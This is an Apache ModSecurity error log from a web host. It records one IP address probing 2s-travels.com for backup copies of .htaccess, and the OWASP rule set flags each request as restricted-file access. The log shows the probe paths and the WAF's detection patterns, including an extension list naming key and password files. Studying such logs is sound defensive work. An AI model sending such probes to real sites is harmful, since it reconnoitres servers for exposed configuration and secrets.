[Fri Jul 17 08:55:21.632881 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoXRlmrtCoY_COpcmBAAAAAg"]
[Fri Jul 17 08:55:21.642552 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.orig"] [unique_id "almgoYbYoYGvYnmnM82CQwAAAAs"]
[Fri Jul 17 08:55:21.642862 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.orig"] [unique_id "almgoYbYoYGvYnmnM82CQwAAAAs"]
[Fri Jul 17 08:55:21.642993 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.643143 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoYbYoYGvYnmnM82CQwAAAAs"]
[Fri Jul 17 08:55:21.652725 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".htaccess~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess~"] [unique_id "almgoRHlOGcokz2QIwTTMQAAAAM"]
[Fri Jul 17 08:55:21.653028 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess~"] [unique_id "almgoRHlOGcokz2QIwTTMQAAAAM"]
[Fri Jul 17 08:55:21.653396 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess~"] [unique_id "almgoRHlOGcokz2QIwTTMQAAAAM"]
[Fri Jul 17 08:55:21.653586 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.653762 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoRHlOGcokz2QIwTTMQAAAAM"]
[Fri Jul 17 08:55:21.667332 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.swp"] [unique_id "almgofwooI4qY7Jg93pVdQAAABM"]
[Fri Jul 17 08:55:21.667687 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.swp"] [unique_id "almgofwooI4qY7Jg93pVdQAAABM"]
[Fri Jul 17 08:55:21.668029 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.swp"] [unique_id "almgofwooI4qY7Jg93pVdQAAABM"]
[Fri Jul 17 08:55:21.668213 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.668361 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgofwooI4qY7Jg93pVdQAAABM"]
[Fri Jul 17 08:55:21.668817 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.tmp"] [unique_id "almgoS0HS8lGbZyK8qt3NgAAACM"]
[Fri Jul 17 08:55:21.668932 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.save"] [unique_id "almgoSvekYYQ8uns4MwlfAAAAA0"]
[Fri Jul 17 08:55:21.669132 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.tmp"] [unique_id "almgoS0HS8lGbZyK8qt3NgAAACM"]
[Fri Jul 17 08:55:21.669221 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.save"] [unique_id "almgoSvekYYQ8uns4MwlfAAAAA0"]
[Fri Jul 17 08:55:21.669236 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.669333 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.669413 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoS0HS8lGbZyK8qt3NgAAACM"]
[Fri Jul 17 08:55:21.669460 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoSvekYYQ8uns4MwlfAAAAA0"]
[Fri Jul 17 08:55:21.672891 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess-backup"] [unique_id "almgoQ5GPQ6hs4VrfMpBnAAAAAY"]
[Fri Jul 17 08:55:21.673014 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.backup"] [unique_id "almgoYZvbo7N5o5zeYC-gQAAABw"]
[Fri Jul 17 08:55:21.673207 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess-backup"] [unique_id "almgoQ5GPQ6hs4VrfMpBnAAAAAY"]
[Fri Jul 17 08:55:21.673268 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.backup"] [unique_id "almgoYZvbo7N5o5zeYC-gQAAABw"]
[Fri Jul 17 08:55:21.673324 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.673456 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoQ5GPQ6hs4VrfMpBnAAAAAY"]
[Fri Jul 17 08:55:21.673519 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.backup"] [unique_id "almgoYZvbo7N5o5zeYC-gQAAABw"]
[Fri Jul 17 08:55:21.673609 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.673734 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoYZvbo7N5o5zeYC-gQAAABw"]
[Fri Jul 17 08:55:21.691496 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bkp"] [unique_id "almgoUgVnBK6wAv37w6sSQAAABQ"]
[Fri Jul 17 08:55:21.691817 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bkp"] [unique_id "almgoUgVnBK6wAv37w6sSQAAABQ"]
[Fri Jul 17 08:55:21.691958 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.692100 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoUgVnBK6wAv37w6sSQAAABQ"]
[Fri Jul 17 08:55:21.692445 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.copy"] [unique_id "almgoe1pLmPpy2r_2CxfZgAAAA8"]
[Fri Jul 17 08:55:21.692670 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.1"] [unique_id "almgoV1_86A5R6msWNfUdAAAABI"]
[Fri Jul 17 08:55:21.692802 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.copy"] [unique_id "almgoe1pLmPpy2r_2CxfZgAAAA8"]
[Fri Jul 17 08:55:21.692939 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.693000 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.1"] [unique_id "almgoV1_86A5R6msWNfUdAAAABI"]
